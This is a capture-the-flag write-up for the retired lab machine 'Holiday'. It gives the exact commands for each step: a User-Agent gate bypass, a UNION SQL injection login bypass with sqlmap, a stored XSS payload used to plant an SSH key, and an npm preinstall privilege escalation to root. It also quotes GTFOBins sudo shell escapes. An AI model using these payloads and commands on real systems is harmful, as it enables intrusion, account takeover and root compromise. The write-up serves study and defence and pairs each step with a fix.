Holiday
Summary
The target (<retired-instance-ip>:8000) exposed only an Express.js web app — a hotel/vacancy booking portal ("Holiday"). Standard recon (nmap, ffuf, curl against common paths, robots.txt, vhost header tricks) returned 404s until requests carried a specific User-Agent: Linux header, revealing a crude UA-based content gate the app used to hide itself from generic scanners.
Once past the gate, a themed credential guess — RickA:[REDACTED: recovered credential] (a Rick Astley reference matching the "Holiday" branding) — authenticated to an internal agent portal at /agent, exposing vacancy/booking records at /vac/<uuid>.
Two separate flaws were chained from there: 1. Stored XSS in booking notes — the note field stripped literal <script> tags but not String.fromCharCode()-obfuscated eval() payloads wrapped in an <img src="x/> tag. Notes are reviewed by an internal user, algernon. 2. SQL injection in POST /login (username/password params) against the app's SQLite backend, confirmed with sqlmap (SQLite_masterdb, tables users, sessions). A UNION-based payload forged a valid credential check by injecting a synthetic row with a known-plaintext MD5 hash — x") UNION SELECT 1,'admin','[REDACTED: protected value]',1-- - (hash = md5("pwn")) — bypassing authentication. The sessions table (the express-session store) was also directly writable, allowing session (connect.sid) tampering.
The stored XSS was weaponized to reach algernon: a payload hosted on an user-controlled listener (<retired-instance-ip>) executed in algernon's browser session when the malicious note was reviewed, and was used to install the operator's SSH public key into algernon's ~/.ssh/authorized_keys. SSH access as algernon with the planted key delivered foothold and user.txt ([REDACTED: flag]).
From the algernon foothold, a privileged npm operation (a crafted package.json/install-time script under /tmp/npmroot, run with elevated rights available to algernon) was used to escalate to root, yielding root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 3
nmap -p 22,8000 -sV --script http-title,http-headers,http-enum,http-methods $TARGETcurl -sS -i http://$TARGET:8000/curl -sS -i -A Linux http://$TARGET:8000/FixRemove the User-Agent content gateLow
Exact commands 2
curl -sS -i -A Linux -c cookies.txt -b cookies.txt -X POST http://$TARGET:8000/login -d 'username=RickA&password=[REDACTED: credential]'curl -sS -A Linux -b cookies.txt http://$TARGET:8000/agentFixEnforce strong, unique passwords on all application accountsHigh
Exact commands 2
sqlmap -u 'http://$TARGET:8000/login' --method=POST --data='username=RickA&password=[REDACTED: credential] -p username,password --headers='User-Agent: Linux' --batch --level=5 --risk=3 --current-db --tablescurl -sS -A Linux -c bypass.txt -b bypass.txt -X POST http://$TARGET:8000/login -d $'username=x") UNION SELECT 1,\'admin\',\'[REDACTED: protected value]\',1-- -&password=[REDACTED: credential]FixReplace string-concatenated SQL queries with parameterized prepared statementsCritical
Exact commands 3
ssh-keygen -t ed25519 -N '' -f /tmp/holiday_algernon_keypython3 -m http.server 8080curl -sS -A Linux -b cookies.txt -X POST http://$TARGET:8000/note -d 'booking_id=<uuid>¬e=%3Cimg+src%3Dx+onerror%3Deval(String.fromCharCode(<ENCODED_PAYLOAD>))%3E'FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
Exact commands 1
ssh -i /tmp/holiday_algernon_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null algernon@$TARGET 'id; cat /home/algernon/user.txt'FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
Exact commands 4
sudo -lmkdir -p /tmp/npmroot && printf '%s' '{"scripts":{"preinstall":"cp /bin/bash /tmp/rbash; chmod 4755 /tmp/rbash"}}' > /tmp/npmroot/package.jsoncd /tmp/npmroot && sudo /usr/bin/npm i . --unsafe-perm/tmp/rbash -p -c 'id; cat /root/root.txt'FixRemove algernon's sudo right to run npm installCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 8000/tcp | http-alt |